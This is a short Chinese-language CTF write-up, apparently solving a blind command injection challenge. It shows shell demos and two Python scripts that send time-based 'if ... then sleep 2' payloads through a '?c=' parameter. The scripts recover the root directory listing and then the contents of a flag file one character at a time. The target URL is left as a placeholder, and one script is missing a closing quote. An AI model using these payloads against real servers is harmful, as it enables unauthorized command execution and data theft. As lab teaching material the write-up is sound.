root@ubuntu:/# cat flag hello Flag{success!!} root@ubuntu:/# cat flag | awk NR==1 hello root@ubuntu:/# cat flag | awk NR==2 Flag{success!!}
cut命令逐列获取单个字符
1 2 3 4 5 6
root@ubuntu:/# cat flag | awk NR==2 | cut -c 1 F root@ubuntu:/# cat flag | awk NR==2 | cut -c 2 l root@ubuntu:/# cat flag | awk NR==2 | cut -c 3 a
利用if语句来判断命令是否执行
1 2 3 4 5
root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then echo "right!";fi right! root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 2) == l ];then echo "right!";fi right! root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then sleep 2;fi
用命令ls \查看根目录来获取flag文件名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import requests url = "xxxxx" result = "" for i in range(1,5): for j in range(1,15): #ascii码表 for k in range(32,128): k=chr(k) payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi" try: requests.get(url=url+payload, timeout=(1.5,1.5)) except: result = result + k print(result) break result += " "
发现一个叫f149_15_h3r3的文件,改以下脚本cat一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
import requests url = "xxxx result = "" for i in range(1,5): for j in range(1,60): for k in range(32,128): k=chr(k) payload = "?c=" + f"if [ `cat /f149_15_h3r3 | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi" try: requests.get(url=url+payload, timeout=(1.5,1.5)) except: result = result + k print(result) break result += ""